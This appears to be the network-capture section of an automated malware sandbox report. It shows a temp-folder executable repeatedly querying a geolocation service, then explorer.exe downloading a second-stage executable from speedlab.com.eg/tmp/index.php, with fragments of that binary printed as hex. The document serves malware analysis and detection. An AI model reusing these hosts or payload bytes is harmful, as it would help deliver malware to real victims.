2023-05-28 08:43:08 UTC	876	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49767	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:08 UTC	877	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:08 UTC	877	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:08 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:08 UTC	878	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49774	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:09 UTC	878	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:09 UTC	878	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:09 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:09 UTC	879	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49707	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:43 UTC	283	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:42:43 UTC	284	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:42:43 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:42:43 UTC	284	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49802	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:14 UTC	879	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:15 UTC	879	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:14 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:15 UTC	880	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49805	217.174.148.28	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:15 UTC	880	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: speedlab.com.eg
2023-05-28 08:43:15 UTC	881	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 08:52:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Content-Description: File Transfer Content-Disposition: attachment; filename=9a70e362.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-05-28 08:43:15 UTC	881	IN	Data Raw: 33 65 36 65 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 cd 0e 63 00 00 00 00 00 Data Ascii: 3e6eMZ@!L!This program cannot be run in DOS mode.$&bbb\|\|\|HEXkb\|c\|c\|cRichbPELGc
2023-05-28 08:43:15 UTC	889	IN	Data Raw: a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLM
2023-05-28 08:43:15 UTC	890	IN	Data Raw: 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 48 48 3a 6d 6d 3a 73 73 00 00 00 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 4d 2f 64 64 2f 79 79 00 00 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f Data Ascii: NOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberO
2023-05-28 08:43:15 UTC	898	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	898	IN	Data Raw: 31 66 34 30 0d 0a 00 00 83 c4 10 5d c3 8b ff 55 8b ec 5d e9 c6 ff ff ff ba 1a 95 42 00 e9 d7 1d 00 00 ba 3a 95 42 00 eb f4 ba 5a 95 42 00 eb ed ba 1a 95 42 00 e9 ec 1b 00 00 ba 3a 95 42 00 eb f4 ba 5a 95 42 00 eb ed 8b ff 55 8b ec 5d e9 96 1f 00 00 cc cc cc cc cc 83 3d fc d6 66 00 00 0f 84 83 32 00 00 83 ec 08 0f ae 5c 24 04 8b 44 24 04 25 80 1f 00 00 3d 80 1f 00 00 75 0f d9 3c 24 66 8b 04 24 66 83 e0 7f 66 83 f8 7f 8d 64 24 08 0f 85 52 32 00 00 eb 00 f3 0f 7e 44 24 04 66 0f 28 15 90 12 40 00 66 0f 28 c8 66 0f 28 f8 66 0f 73 d0 34 66 0f 7e c0 66 0f 54 05 c0 12 40 00 66 0f fa d0 66 0f d3 ca a9 00 08 00 00 75 4c 3d ff 03 00 00 7c 7d 66 0f f3 ca 3d 32 04 00 00 7f 0b 66 0f d6 4c 24 04 dd 44 24 04 c3 66 0f 2e ff 7b 24 ba ed 03 00 00 83 ec 10 89 54 24 0c 8b d4 Data Ascii: 1f40]U]B:BZBB:BZBU]=f2\$D$%=u<$f$ffd$R2~D$f(@f(f(fs4f~fT@ffuL=\|}f=2fL$D$f.{$T$
2023-05-28 08:43:15 UTC	906	IN	Data Raw: 85 f6 74 75 83 3d e4 d6 66 00 03 75 43 6a 04 e8 05 35 00 00 59 83 65 fc 00 56 e8 2d 35 00 00 59 89 45 e4 85 c0 74 09 56 50 e8 4e 35 00 00 59 59 c7 45 fc fe ff ff ff e8 0b 00 00 00 83 7d e4 00 75 37 ff 75 08 eb 0a 6a 04 e8 f1 33 00 00 59 c3 56 6a 00 ff 35 fc b0 42 00 ff 15 04 11 40 00 85 c0 75 16 e8 8c fa ff ff 8b f0 ff 15 5c 10 40 00 50 e8 3c fa ff ff 89 06 59 e8 6b 09 00 00 c3 8b ff 55 8b ec 51 56 8b 75 0c 56 e8 2c 07 00 00 89 45 0c 8b 46 0c 59 a8 82 75 19 e8 55 fa ff ff c7 00 09 00 00 00 83 4e 0c 20 b8 ff ff 00 00 e9 3d 01 00 00 a8 40 74 0d e8 38 fa ff ff c7 00 22 00 00 00 eb e1 a8 01 74 17 83 66 04 00 a8 10 0f 84 8d 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 66 04 00 83 65 fc 00 53 6a 02 83 e0 ef 5b 0b c3 89 46 0c a9 0c 01 00 00 75 2c e8 eb Data Ascii: tu=fuCj5YeV-5YEtVPN5YYE}u7uj3YVj5B@u\@P<YkUQVuV,EFYuUN =@t8"tfNFFfeSj[Fu,
2023-05-28 08:43:15 UTC	913	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	913	IN	Data Raw: 31 66 34 30 0d 0a 40 59 83 f8 3c 76 38 56 e8 75 c5 ff ff 83 ee 3b 03 c6 6a 03 b9 dc af 42 00 68 cc 19 40 00 2b c8 51 50 e8 78 4f 00 00 83 c4 14 85 c0 74 11 33 f6 56 56 56 56 56 e8 9c da ff ff 83 c4 14 eb 02 33 f6 68 c8 19 40 00 53 57 e8 de 4e 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 78 da ff ff 83 c4 14 8b 45 fc ff 34 c5 9c 95 42 00 53 57 e8 b9 4e 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 53 da ff ff 83 c4 14 68 10 20 01 00 68 a0 19 40 00 57 e8 2c 4d 00 00 83 c4 0c eb 32 6a f4 ff 15 50 10 40 00 8b d8 3b de 74 24 83 fb ff 74 1f 6a 00 8d 45 f8 50 8d 34 fd 9c 95 42 00 ff 36 e8 c0 c4 ff ff 59 50 ff 36 53 ff 15 24 11 40 00 5f 5e 5b c9 c3 6a 03 e8 7b 4f 00 00 59 83 f8 01 74 15 6a 03 e8 6e 4f 00 00 59 85 c0 75 1f 83 3d 40 90 42 00 01 75 16 68 fc 00 00 00 Data Ascii: 1f40@Y<v8Vu;jBh@+QPxOt3VVVVV3h@SWNtVVVVVxE4BSWNtVVVVVSh h@W,M2jP@;t$tjEP4B6YP6S$@_^[j{OYtjnOYu=@Buh
2023-05-28 08:43:15 UTC	921	IN	Data Raw: 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 c9 47 85 c9 7d f9 8b 4d f4 8b 54 f9 04 8b 0a 2b 4d f0 8b f1 c1 fe 04 4e 83 fe 3f 89 4d f8 7e 03 6a 3f 5e 3b f7 0f 84 01 01 00 00 8b 4a 04 3b 4a 08 75 5c 83 ff 20 bb 00 00 00 80 7d 26 8b cf d3 eb 8b 4d fc 8d 7c 38 04 f7 d3 89 5d ec 23 5c 88 44 89 5c 88 44 fe 0f 75 33 8b 4d ec 8b 5d 08 21 0b eb 2c 8d 4f e0 d3 eb 8b 4d fc 8d 8c 88 c4 00 00 00 8d 7c 38 04 f7 d3 21 19 fe 0f 89 5d ec 75 0b 8b 5d 08 8b 4d ec 21 4b 04 eb 03 8b 5d 08 83 7d f8 00 8b 4a 08 8b 7a 04 89 79 04 8b 4a 04 8b 7a 08 89 79 08 0f 84 8d 00 00 00 8b 4d f4 8d 0c f1 8b 79 04 89 4a 08 89 7a 04 89 51 04 8b 4a 04 89 51 08 8b 4a 04 3b 4a 08 75 5e 8a 4c 06 04 88 4d 0b fe c1 83 fe 20 88 4c 06 04 7d 23 80 7d 0b 00 75 0b bf 00 00 00 80 8b ce d3 ef 09 Data Ascii: u#Mj _G}MT+MN?M~j?^;J;Ju\ }&M\|8]#\D\Du3M]!,OM\|8!]u]M!K]}JzyJzyMyJzQJQJ;Ju^LM L}#}u
2023-05-28 08:43:15 UTC	929	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	929	IN	Data Raw: 31 66 34 30 0d 0a cf 00 00 00 dd d8 dd d8 0a c9 75 0e d9 ee 83 f8 01 75 06 0a ed 74 02 d9 e0 c3 c6 85 70 ff ff ff 02 db 2d e0 9d 42 00 83 f8 01 75 ed 0a ed 74 e9 d9 e0 eb e5 dd d8 e9 cd d3 ff ff dd d8 e9 68 d4 ff ff 58 d9 e4 9b dd bd 60 ff ff ff 9b f6 85 61 ff ff ff 01 75 0f dd d8 db 2d e0 9d 42 00 0a ed 74 02 d9 e0 c3 c6 85 70 ff ff ff 04 e9 97 d3 ff ff dd d8 dd d8 db 2d e0 9d 42 00 c6 85 70 ff ff ff 03 c3 0a c9 75 af dd d8 db 2d e0 9d 42 00 c3 d9 c0 d9 e1 db 2d fe 9d 42 00 de d9 9b dd bd 60 ff ff ff 9b f6 85 61 ff ff ff 41 75 95 d9 c0 d9 fc d9 e4 9b dd bd 60 ff ff ff 9b 8a 95 61 ff ff ff d9 c9 d8 e1 d9 e4 9b dd bd 60 ff ff ff d9 e1 d9 f0 c3 d9 c0 d9 fc d8 d9 9b df e0 9e 75 1a d9 c0 dc 0d 12 9e 42 00 d9 c0 d9 fc de d9 9b df e0 9e 74 0d b8 01 00 00 00 c3 Data Ascii: 1f40uutp-ButhX`au-Btp-Bpu-B-B`aAu`a`uBt
2023-05-28 08:43:15 UTC	937	IN	Data Raw: 98 23 40 00 dd 5d e8 dd 45 e8 dc 75 f0 dc 4d f0 dc 6d e8 dd 5d f8 d9 e8 dc 5d f8 df e0 f6 c4 05 7a 05 33 c0 40 c9 c3 33 c0 c9 c3 68 c4 23 40 00 ff 15 a0 10 40 00 85 c0 74 15 68 a8 23 40 00 50 ff 15 64 10 40 00 85 c0 74 05 6a 00 ff d0 c3 e9 99 ff ff ff 8b ff 55 8b ec 8b 4d 08 53 33 db 3b cb 56 57 7c 5b 3b 0d 24 e7 66 00 73 53 8b c1 c1 f8 05 8b f1 8d 3c 85 40 e7 66 00 8b 07 83 e6 1f c1 e6 06 03 c6 f6 40 04 01 74 35 83 38 ff 74 30 83 3d 40 90 42 00 01 75 1d 2b cb 74 10 49 74 08 49 75 13 53 6a f4 eb 08 53 6a f5 eb 03 53 6a f6 ff 15 94 11 40 00 8b 07 83 0c 06 ff 33 c0 eb 15 e8 2f 7d ff ff c7 00 09 00 00 00 e8 37 7d ff ff 89 18 83 c8 ff 5f 5e 5b 5d c3 8b ff 55 8b ec 8b 45 08 83 f8 fe 75 18 e8 1b 7d ff ff 83 20 00 e8 00 7d ff ff c7 00 09 00 00 00 83 c8 ff 5d c3 Data Ascii: #@]EuMm]]z3@3h#@@th#@Pd@tjUMS3;VW\|[;$fsS<@f@t58t0=@Bu+tItIuSjSjSj@3/}7}_^[]UEu} }]
2023-05-28 08:43:15 UTC	945	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	945	IN	Data Raw: 31 66 34 30 0d 0a 2b d8 0f 88 f2 00 00 00 db 6c 24 28 8b 44 24 18 8b 5c 24 30 81 e3 ff 7f 00 00 8b cb 2b d8 83 e3 07 83 cb 04 2b cb 8b d8 81 e3 00 80 00 00 0b cb 89 4c 24 18 db 6c 24 10 89 44 24 18 d9 c9 d9 f8 db 7c 24 28 dd d8 eb a2 f7 c3 02 00 00 00 75 08 db 6c 24 10 db 7c 24 1c d9 7c 24 34 8b 44 24 34 0d 3f 03 00 00 89 44 24 38 d9 6c 24 38 8b 44 24 18 25 ff 7f 00 00 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 83 e3 3f 83 cb 20 83 c3 01 8b cb 8b 44 24 18 8b 5c 24 30 81 e3 ff 7f 00 00 25 00 80 00 00 0b d8 89 5c 24 18 db 6c 24 10 d9 e1 db 6c 24 28 d9 e1 d8 d1 df e0 25 00 01 00 00 75 02 d8 e1 d9 c9 dc 0d 0c a1 42 00 d9 c9 83 e9 01 75 e4 8b 5c 24 30 db 7c 24 28 dd d8 db 6c 24 1c db 2d 14 a1 42 00 d9 f5 dd d8 db 6c 24 28 d9 6c 24 34 81 e3 00 80 00 00 74 0e d9 e0 eb Data Ascii: 1f40+l$(D$\$0++L$l$D$\|$(ul$\|$\|$4D$4?D$8l$8D$%\$0+? D$\$0%\$l$l$(%uBu\$0\|$(l$-Bl$(l$4t
2023-05-28 08:43:15 UTC	953	IN	Data Raw: 00 00 33 c0 40 66 89 03 b8 00 00 00 80 3b f0 75 04 85 ff 74 0f f7 c6 00 00 00 40 75 07 68 78 2d 40 00 eb 51 66 85 c9 74 13 81 fe 00 00 00 c0 75 0b 85 ff 75 3b 68 70 2d 40 00 eb 0d 3b f0 75 30 85 ff 75 2c 68 68 2d 40 00 8d 43 04 6a 16 50 e8 9c 42 ff ff 83 c4 0c 33 f6 85 c0 74 0d 56 56 56 56 56 e8 7d 3d ff ff 83 c4 14 c6 43 03 05 eb 2a 68 60 2d 40 00 8d 43 04 6a 16 50 e8 70 42 ff ff 83 c4 0c 33 f6 85 c0 74 0d 56 56 56 56 56 e8 51 3d ff ff 83 c4 14 c6 43 03 06 33 c0 e9 71 07 00 00 0f b7 ca 8b d9 69 c9 10 4d 00 00 c1 eb 08 8b c6 c1 e8 18 8d 04 43 6b c0 4d 8d 84 08 0c ed bc ec c1 f8 10 0f b7 c0 33 c9 0f bf d8 66 89 4d e0 b9 80 a3 42 00 f7 db 83 e9 60 89 45 b4 66 89 55 ea 89 75 e6 89 7d e2 89 4d 9c 85 db 0f 84 9c 02 00 00 7d 0d b8 e0 a4 42 00 f7 db 83 e8 60 89 Data Ascii: 3@f;ut@uhx-@Qftuu;hp-@;u0u,hh-@CjPB3tVVVVV}=C*h`-@CjPpB3tVVVVVQ=C3qiMCkM3fMB`EfUu}M}B`
2023-05-28 08:43:15 UTC	960	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:15 UTC	960	IN	Data Raw: 31 66 34 30 0d 0a 5b 7b 99 a0 bd c0 94 67 db 0b 4b f0 95 20 b2 cf 40 a6 82 64 9b 5b 4e c3 0f 3b c2 17 59 32 72 81 35 7a 01 81 b6 e0 39 b5 94 03 3d 49 e5 0f 9e d1 55 f3 27 df c2 3c f4 87 69 58 95 d8 4b e0 50 e3 2c 2d 5f 5d 9d 5e 92 d9 b2 33 34 c6 cc 1e 8b 74 25 a9 4a 29 0e 12 fc 22 3b 81 fd 1d 16 b8 ef 30 57 16 59 99 0d 62 40 2c 2a 2a c7 77 ab 0f be 7a 45 ae 1c c7 bc d5 5d 63 3b 73 69 a4 b2 6b e3 3c 6c 6e fa d0 3c 2a 41 d1 d4 92 b8 b0 8c 6b 72 7f 8e 8b f5 5b b7 3c de 40 bf df 44 9e 84 5b 81 a5 2f 43 dd 25 5d 2b 51 31 c5 77 20 21 8c 42 f0 b6 3b 24 90 7d 33 23 78 4c 89 11 2e be e4 36 63 eb f2 8c 3a 7e 29 d9 c9 ab e5 65 f0 33 bd 4a ad 05 26 bd cf 5b da e4 1e 79 71 31 c8 ef 20 9d ec 38 d9 f7 36 3a 34 d3 07 a1 a7 26 d4 8c 38 bb 47 65 94 ee 73 79 1a ae db 79 1f Data Ascii: 1f40[{gK @d[N;Y2r5z9=IU'<iXKP,-_]^34t%J)";0WYb@,*wzE]c;sik<ln<Akr[<@D[/C%]+Q1w !B;$}3#xL.6c:~)e3J&[yq1 86:4&8Gesyy
